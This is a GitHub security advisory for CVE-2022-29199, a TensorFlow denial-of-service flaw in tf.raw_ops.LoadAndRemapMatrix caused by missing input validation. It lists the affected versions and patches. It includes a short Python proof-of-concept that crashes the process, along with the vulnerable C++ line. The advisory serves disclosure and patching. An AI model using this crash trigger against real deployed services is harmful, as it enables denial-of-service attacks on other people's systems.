GitHub Advisoryadvisory · PyPI

GHSA-p9rc-rmr5-529j Missing validation causes denial of service via `LoadAndRemapMatrix`

MEDIUM Published 2022-05-24 Modified 2022-05-24 Official page ↗
Aliases
CVE-2022-29199
Ecosystem
PyPI
Packages
tensorflow, tensorflow-cpu, tensorflow-gpu
Severity
Moderate
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-20
Reviewed
2022-05-24

Affected packages

• PyPI tensorflow: < 2.6.4 → fixed in 2.6.4 • PyPI tensorflow: >= 2.7.0, < 2.7.2 → fixed in 2.7.2 • PyPI tensorflow: >= 2.8.0, < 2.8.1 → fixed in 2.8.1 • PyPI tensorflow-cpu: < 2.6.4 → fixed in 2.6.4 • PyPI tensorflow-cpu: >= 2.7.0, < 2.7.2 → fixed in 2.7.2 • PyPI tensorflow-cpu: >= 2.8.0, < 2.8.1 → fixed in 2.8.1 • PyPI tensorflow-gpu: < 2.6.4 → fixed in 2.6.4 • PyPI tensorflow-gpu: >= 2.7.0, < 2.7.2 → fixed in 2.7.2 • PyPI tensorflow-gpu: >= 2.8.0, < 2.8.1 → fixed in 2.8.1

Description

Impact The implementation of `tf.raw_ops.LoadAndRemapMatrix` does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf ckpt_path = tf.constant( "/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string) old_tensor_name = tf.constant( "/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string) row_remapping = tf.constant(0, shape=[], dtype=tf.int64) col_remapping = tf.constant(3, shape=[3], dtype=tf.int64) initializing_values = tf.constant([], shape=[0, 1], dtype=tf.float32) tf.raw_ops.LoadAndRemapMatrix( ckpt_path=ckpt_path, old_tensor_name=old_tensor_name, row_remapping=row_remapping, col_remapping=col_remapping, initializing_values=initializing_values, num_rows=1, num_cols=1) ``` The code assumes `initializing_values` is a vector but there is no validation for this before accessing its value: ```cc OP_REQUIRES_OK(context, context->input("row_remapping", &row_remapping_t)); const auto row_remapping = row_remapping_t->vec(); ``` Patches We have patched the issue in GitHub commit 3150642acbbe254e3c3c5d2232143fa591855ac9. The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

Related

Alias · CVE (1)

  • CVE-2022-29199 TensorFlow is an open source platform for machine learning. vulnerability

Weakness · CWE (1)

  • CWE-20 Improper Input Validation weakness

References